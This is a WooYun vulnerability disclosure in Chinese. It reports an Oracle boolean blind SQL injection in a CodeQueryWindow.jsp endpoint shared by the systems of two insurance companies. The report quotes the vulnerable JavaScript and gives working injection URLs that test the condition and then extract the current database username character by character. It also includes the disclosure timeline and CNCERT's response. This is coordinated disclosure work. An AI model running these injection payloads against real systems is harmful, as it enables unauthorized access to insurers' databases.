当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0196465

漏洞标题:农银人寿&大童保险同一系统存在Oracle盲注(附验证过程/或涉及更多案例)

相关厂商:CNCERT

漏洞作者: 路人甲

提交时间:2016-04-15 11:40

修复时间:2016-06-03 10:20

公开时间:2016-06-03 10:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-15: 细节已通知厂商并且等待厂商处理中
2016-04-19: 厂商已经确认,细节仅向厂商公开
2016-04-29: 细节向核心白帽子及相关领域专家公开
2016-05-09: 细节向普通白帽子公开
2016-05-19: 细节向实习白帽子公开
2016-06-03: 细节向公众公开

简要描述:

没错都是一个系统的...
或许还涉及更多案例?
夜空中最亮的星
能否听清
那仰望的人
心底的孤独和叹息
夜空中最亮的星
能否记起
曾与我同行
消失在风里的身影
我祈祷拥有一颗透明的心灵
和会流泪的眼睛
给我再去相信的勇气
越过谎言去拥抱你

详细说明:

http://**.**.**.**/bugs/wooyun-2010-0119996
http://**.**.**.**/bugs/wooyun-2015-0119873
http://**.**.**.**/bugs/wooyun-2015-0119996
此注入点与之前已知的上面这几个注入点不同。
http://**.**.**.**/bugs/wooyun-2016-0196048
发了这个洞之后,根据这个漏洞的思路我决定继续去看看它的Js文件。
之前已经发现的漏洞:
http://**.**.**.**/bugs/wooyun-2015-0120530/
他是定位到了/common/easyQueryVer3/EasyQueryVer3.js这个文件
而我这次是定位到了/common/javascript/Common.js这个文件,感觉一般会关注这个名字的JS文件更多。

if(strCode=="AgentCode"||strCode=="OccupationCode")
{
//由于代理人数据和职业类别数据的数据量较大,无条件遍历查询时会严重影响汉化显示速度
//特对他们的汉化查询进行了单独处理(有条件单条查询,结果不会再缓存)
urlStr = "../common/jsp/CodeQueryWindow.jsp?codeType=" + strCode+"&codeField="+strCode+"&codeConditon="+strCodeValue;
}
else
{
urlStr = "../common/jsp/CodeQueryWindow.jsp?codeType=" + strCode;
}
//sFeatures = "status:no;help:0;close:0;dialogWidth:10px;dialogHeight:0px;dialogLeft:-1;dialogTop:-1;resizable=1";
//连接数据库进行CODE查询,返回查询结果给strQueryResult

//strQueryResult = window.showModalDialog(urlStr, "", sFeatures);
Request = new ActiveXObject("Microsoft.XMLHTTP");
Request.open("GET", urlStr, false);
Request.send(null);
try
{
strQueryResult = Request.responseText.trim();
}
catch(e1)
{
alert("数据返回出错:"+e1.message);
}

}
}


在这段代码中也发现了可以被我们用来构造URL对数据库进行查询操作的点。
既然会进行查询的操作,就有可能会存在注入,并且这种查询的为boolean盲注可能性大...
于是我构造了URL来测试:

http://**.**.**.**:7060/ui/common/jsp/CodeQueryWindow.jsp?codeType=test' OR 3*2*1=6 AND 000477=000477--


test2.png


http://**.**.**.**:7060/ui/common/jsp/CodeQueryWindow.jsp?codeType=test%27%20OR%203*2*1=6%20AND%20000477=000476--


test3.png


显然当我们构造逻辑正确时查询正确执行了。
接下来对其进行验证:
首先还是来确定当前数据库用户名长度

http://**.**.**.**:7060/ui/common/jsp/CodeQueryWindow.jsp?codeType=test%27%20OR%203*2*1=6%20AND%20000477=000477%20AND%20length%28SYS_CONTEXT%28%27USERENV%27,%27CURRENT_USER%27%29%29=6--


确定当长度为6时正确回显

test4.png


接下来跑一下用户名(本来用Py写了个脚本,但是一直有奇怪的问题,就暂时用Burp来验证下):

http://**.**.**.**:7060/ui/common/jsp/CodeQueryWindow.jsp?codeType=test' OR 3*2*1=6 AND 000477=000477 AND length(SYS_CONTEXT('USERENV','CURRENT_USER'))=6 AND ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),1,1))=1--


test5.png


得到对应ascii码:
65 71 69 78 67 89
对应得到当前用户为:
AGENCY
上面以农银人寿为例说明了其系统存在的Oracle的布尔型盲注,该系统还应用到了一些其他的保险平台上,以大同保险的影像平台为例:

http://**.**.**.**/easyscan/common/jsp/CodeQueryWindow.jsp?codeType=test


test6.png


这里虽然页面上看上去没有,但是其实在页面的source中还是有返回的。测试的方式完全和上面一样。
可能还涉及更多的案例(但一些版本已做了一定修复,导致访问查询文件会跳转),尚未找到更多的案例。http://**.**.**.**/khyal/

des.png

漏洞证明:

如上

修复方案:

( ╯□╰ )

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-04-19 10:18

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向保险行业信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评价